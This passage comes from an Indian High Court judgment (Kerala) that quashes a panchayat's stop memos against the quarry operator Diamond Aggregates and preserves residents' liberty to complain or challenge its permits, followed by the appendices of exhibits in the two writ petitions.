16. That said, it is also equally pertinent that the Action Council or any other have not yet approached either the Geologist or the other competent Authorities against M/s.Diamond Aggregates complaining violation of the conditions of the consents and permissions obtained by them and I am certain that they are at liberty to do so, if they feel it necessary, based on the factual scenario available in the area in WP(C).25986/2019 & 26250/2019 12 question.
17. In the afore circumstances and since I cannot find Ext.P9 in W.P.(C) No.26250/2019 to have been issued by the Panchayat after following due procedure and since it appears to be the product of unsubstantiated complaints made by certain persons, I order these writ petitions and set aside the said stop memo; however, leaving liberty to the Action Council and to the other petitioners in W.P(C) No.25986/2019 to approach the competent Authority, including the concerned Geologist, with any complaint that they may choose to make; in which event, all such Authorities will be obligated in law to act quickly and to ensure that M/s.Diamond Aggregates are acting within the confines of the conditions of the various consents, permissions and licence obtained by them and that their activities do not create any nuisance to the residents of the area.
18. I also leave liberty to the petitioners in W.P(C) No.25986/2019 to challenge any of the consents, licences and permissions obtained by M/s.Diamond Aggregates in terms of law before the competent Forum, including this Court; for which purpose, I leave all their contentions open and clarify WP(C).25986/2019 & 26250/2019 13 that none of my observations in this judgment will trammel them in doing so.
After I dictated this judgment, Sri.Dinesh Shenoy submitted that pending this lis, the Panchayat has again issued Ext.P10 stop memo and prays that the same be also set aside. It goes without saying that since I have set aside Ext.P9, the consequential Ext.P10 order in W.P.(C) No.26250/2019 will also stand quashed.
Sd/- DEVAN RAMACHANDRAN
stu JUDGE
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APPENDIX OF WP(C) 25986/2019
PETITIONER'S EXHIBITS:
EXHIBIT P1 REPRESENTATION BEFORE THE SECRETARY, GRAMA
PANCHAYATH, MANEED TO STOP THE ILLEGAL MINING BY THE RESPONDENTS ON 7/9/2018.
EXHIBIT P2 THE ACKNOWLEDGMENT RECEIPT FROM MANEED GRAMA PANCHAYATH DATED 07.09.2018.
EXHIBIT P3 MASS APPLICATION PREFERRED BEFORE MANEED VILLAGE OFFICER.
EXHIBIT P4 REPRESENTATION BEFORE THE MANEED GRAMA PANCHAYATH SECRETARY STATING THAT HIS HOUSE IS SUCCUMBING TO SERIOUS DAMAGES IN FURTHER AND WARRANTED THE SECRETARY TO CORRECT THE SAME WITHIN 30 DAYS DATED 03.09.2019.
EXHIBIT P5 REPLY OR DIRECTION BY SECRETARY, MANEED GRAMA PANCHAYATH ON 03.10.2018.
EXHIBIT P6 MASS APPLICATION PREFERRED BY ACTION COUNCIL ALONG WITH THE LOCAL ACTIVISTS BEFORE DISTRICT COLLECTOR ON 02.07.2018.
EXHIBIT P7 STATEMENT OF GRIEVANCES BY POLLUTION CONTROL BOARD, KERALA STATE.
EXHIBIT P8 COMPLAINT BEFORE THE CHAIRMAN, HUMAN RIGHTS COMMISSION, THIRUVANANTHAPURAM BY THE 2ND PETITIONER.
EXHIBIT P9 FURTHER PROCEEDINGS FOR THE CONSIDERATION AND HEARING BEFORE HUMAN RIGHTS COMMISSION ON 02.05.2019.
EXHIBIT P10 REPORT SUBMITTED BY KERALA STATE POLLUTION BOARD BEFORE THE HUMAN RIGHTS COMMISSION DATED 23.11.2018.
EXHIBIT P11 REPORT SUBMITTED BY SECRETARY, GRAMA PANCHAYATH MANEED BEFORE KERALA HUMAN RIGHTS COMMISSION DATED 05.09.2018.
WP(C).25986/2019 & 26250/2019 15 EXHIBIT P12 THE ADVOCATE COMMISSION FOR LOCAL INVESTIGATION ISSUED BY ADV. KURUVILA K. K. DATED 14.9.2018 IN O.S.414/2018.
EXHIBIT P13 ORDER IN I.A.2460/18 OF HON'BLE MUNSIFF COURT, MUVATTUPUZHA.
EXHIBIT P14 TRUE COPY OF THE DIRECTION ISSUED BY SECRETARY
GRAMA PANCHAYATH DATED 28.09.2019
EXHIBIT P15 ORIGINAL OF NEWS PAPER REPORT IN MALAYALA
MANORAMA DATED 29.09.2019
RESPONDENTS' EXHIBITS : NIL
//TRUE COPY//
P.A TO JUDGE.
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APPENDIX OF WP(C) 26250/2019
PETITIONER'S EXHIBITS:
EXHIBIT P1 TRUE PHOTOCOPY OF ENVIRONMENTAL CLEARANCE
NO.31/2018 DATED 12.04.2018 ISSUED BY THE DISTRICT ENVIRONMENTAL IMPACT ASSESSMENT AUTHORITY (DEIAA) ERNAKULAM.
EXHIBIT P2 TRUE PHOTOCOPY OF INTEGRATED CONSENT TO OPERATE-
RENEWAL ISSUED BY THE POLLUTION CONTROL BOARD DATED 17.04.2018.
EXHIBIT P3 TRUE PHOTOCOPY OF EXPLOSIVES LICENSE DATED 23.04.2018 ISSUED BY DEPUTY CHIEF CONTROLLER OF EXPLOSIVES, ERNAKULAM.
EXHIBIT P4 TRUE PHOTOCOPY OF BLASTERS CERTIFICATE DATED 7.7.1987 ISSUED BY DIRECTOR OF MINES SAFETY, CHENNAI REGION, EXHIBIT P5 TRUE PHOTOCOPY OF QUARRYING PERMIT DATED 19.07.2019 BY THE ISSUING AUTHORITY, DEPT. OF MINING AND GEOLOGY.
EXHIBIT P6 TRUE PHOTOCOPY OF D AND O LICENSE DATED 6.07.2019 ISSUED BY THE FIRST RESPONDENT.
EXHIBIT P7 TRUE PHOTOCOPY OF THE ORDER DATED 15.11.2018 IN IA 2460/2018 IN OS 414/2018, MUNSIFF COURT, MUVATTUPUZHA.
EXHIBIT P8 TRUE PHOTOCOPY OF JUDGMENT DATED 5.7.2018 IN WP(C) NO.22056/2018, HIGH COURT OF KERALA. EXHIBIT P9 TRUE PHOTOCOPY OF STOP MEMO DATED 28.09.2019 ISSUED BY THE FIRST RESPONDENT.
EXHIBIT P10 TRUE COPY OF ORDER DATED 5/10/2019 (WRONGLY SHOWN AS 5/10/2018) ISSUED BY THE FIRST RESPONDENT.
RESPONDENTS' EXHIBITS : NIL
//TRUE COPY//
P.A TO JUDGE.
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